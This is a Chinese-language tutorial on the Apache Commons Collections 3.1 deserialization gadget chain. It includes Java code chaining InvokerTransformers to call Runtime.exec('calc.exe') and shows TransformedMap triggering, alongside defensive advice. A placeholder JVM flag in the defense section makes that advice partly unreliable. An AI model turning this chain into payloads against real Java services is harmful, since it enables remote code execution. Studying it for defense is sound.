Java反序列化CC链分析
字数 1352 2025-08-12 11:33:54

Java反序列化CC链分析教学文档

一、概述

Apache Commons Collections(简称CC)是Apache软件基金会的一个项目,为Java标准Collections API提供了扩展功能。Commons Collections包中存在的反序列化漏洞(CC链)是Java安全领域的重要研究课题。

序列化前提条件

  1. 类必须实现java.io.Serializable接口
  2. 类的所有属性必须是可序列化的,如果有不可序列化的属性必须注明为transient

二、环境搭建

  1. 下载Commons Collections 3.1版本:
    https://archive.apache.org/dist/commons/collections/binaries/commons-collections-3.1.zip
    
  2. 解压后导入commons-collections-3.1.jar到Java项目
  3. 使用JDK 1.8.0_281版本

三、核心Transformer组件分析

1. Transformer接口

Transformer是规范类型转换行为的接口,关键实现类包括:

  • ChainedTransformer
  • ConstantTransformer
  • InvokerTransformer
  • 其他:CloneTransformer, ClosureTransformer等

2. ConstantTransformer

作用:获取class对象,忽略输入参数,始终返回构造时指定的对象。

ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
Object transform = constantTransformer.transform("any"); 
// 输出:class java.lang.Runtime

3. InvokerTransformer

作用:通过反射调用传入对象的方法。

构造方法参数

  1. methodName:方法名
  2. 参数类型数组
  3. 参数值数组

安全限制

  • Commons Collections 3.2.2+:序列化/反序列化会抛出UnsupportedOperationException
  • Commons Collections4 4.1+:直接禁止反序列化

4. ChainedTransformer

作用:将多个Transformer串联执行,前一个的输出作为后一个的输入。

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    // 其他Transformer...
};
ChainedTransformer chain = new ChainedTransformer(transformers);
chain.transform("any");

四、攻击链构造

1. 基本攻击链构造

String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{cmd})
};

2. 简化版(直接传入Runtime实例)

ChainedTransformer chain = new ChainedTransformer(
    new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec", 
            new Class[]{String.class}, 
            new Object[]{"calc.exe"})
    });

五、TransformedMap利用

1. TransformedMap作用

将Map与转换链绑定,当Map被修改时自动触发转换链。

Map map = new HashMap();
map.put("value", "value");
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

2. 触发方式

以下操作都会触发转换链:

  • put()
  • putAll()
  • setValue()
for (Object obj : transformedMap.entrySet()) {
    Map.Entry entry = (Map.Entry) obj;
    entry.setValue("test"); // 触发命令执行
}

六、完美利用链 - AnnotationInvocationHandler

1. 问题与解决方案

基本利用需要服务端:

  1. 反序列化为Map
  2. 修改Map值

通过sun.reflect.annotation.AnnotationInvocationHandler可以实现自动触发。

2. 关键点

  • JDK 1.7中存在完美readObject复写点
  • 反序列化时自动触发Map操作

七、防御措施

  1. 升级Commons Collections版本:

    • 3.2.2+版本对InvokerTransformer增加了安全限制
    • 4.1+版本完全禁止InvokerTransformer的反序列化
  2. JVM参数防御:

    -Dproperty=true
    
  3. 代码层面:

    • 避免反序列化不可信数据
    • 使用白名单验证反序列化类

八、历史链分析

(待补充详细分析)

九、参考链接

  1. Java Transformer Chain分析
  2. CSDN相关文章
Java反序列化CC链分析教学文档 一、概述 Apache Commons Collections(简称CC)是Apache软件基金会的一个项目,为Java标准Collections API提供了扩展功能。Commons Collections包中存在的反序列化漏洞(CC链)是Java安全领域的重要研究课题。 序列化前提条件 类必须实现 java.io.Serializable 接口 类的所有属性必须是可序列化的,如果有不可序列化的属性必须注明为 transient 二、环境搭建 下载Commons Collections 3.1版本: 解压后导入 commons-collections-3.1.jar 到Java项目 使用JDK 1.8.0_ 281版本 三、核心Transformer组件分析 1. Transformer接口 Transformer是规范类型转换行为的接口,关键实现类包括: ChainedTransformer ConstantTransformer InvokerTransformer 其他:CloneTransformer, ClosureTransformer等 2. ConstantTransformer 作用 :获取class对象,忽略输入参数,始终返回构造时指定的对象。 3. InvokerTransformer 作用 :通过反射调用传入对象的方法。 构造方法参数 : methodName:方法名 参数类型数组 参数值数组 安全限制 : Commons Collections 3.2.2+:序列化/反序列化会抛出UnsupportedOperationException Commons Collections4 4.1+:直接禁止反序列化 4. ChainedTransformer 作用 :将多个Transformer串联执行,前一个的输出作为后一个的输入。 四、攻击链构造 1. 基本攻击链构造 2. 简化版(直接传入Runtime实例) 五、TransformedMap利用 1. TransformedMap作用 将Map与转换链绑定,当Map被修改时自动触发转换链。 2. 触发方式 以下操作都会触发转换链: put() putAll() setValue() 六、完美利用链 - AnnotationInvocationHandler 1. 问题与解决方案 基本利用需要服务端: 反序列化为Map 修改Map值 通过 sun.reflect.annotation.AnnotationInvocationHandler 可以实现自动触发。 2. 关键点 JDK 1.7中存在完美readObject复写点 反序列化时自动触发Map操作 七、防御措施 升级Commons Collections版本: 3.2.2+版本对InvokerTransformer增加了安全限制 4.1+版本完全禁止InvokerTransformer的反序列化 JVM参数防御: 代码层面: 避免反序列化不可信数据 使用白名单验证反序列化类 八、历史链分析 (待补充详细分析) 九、参考链接 Java Transformer Chain分析 CSDN相关文章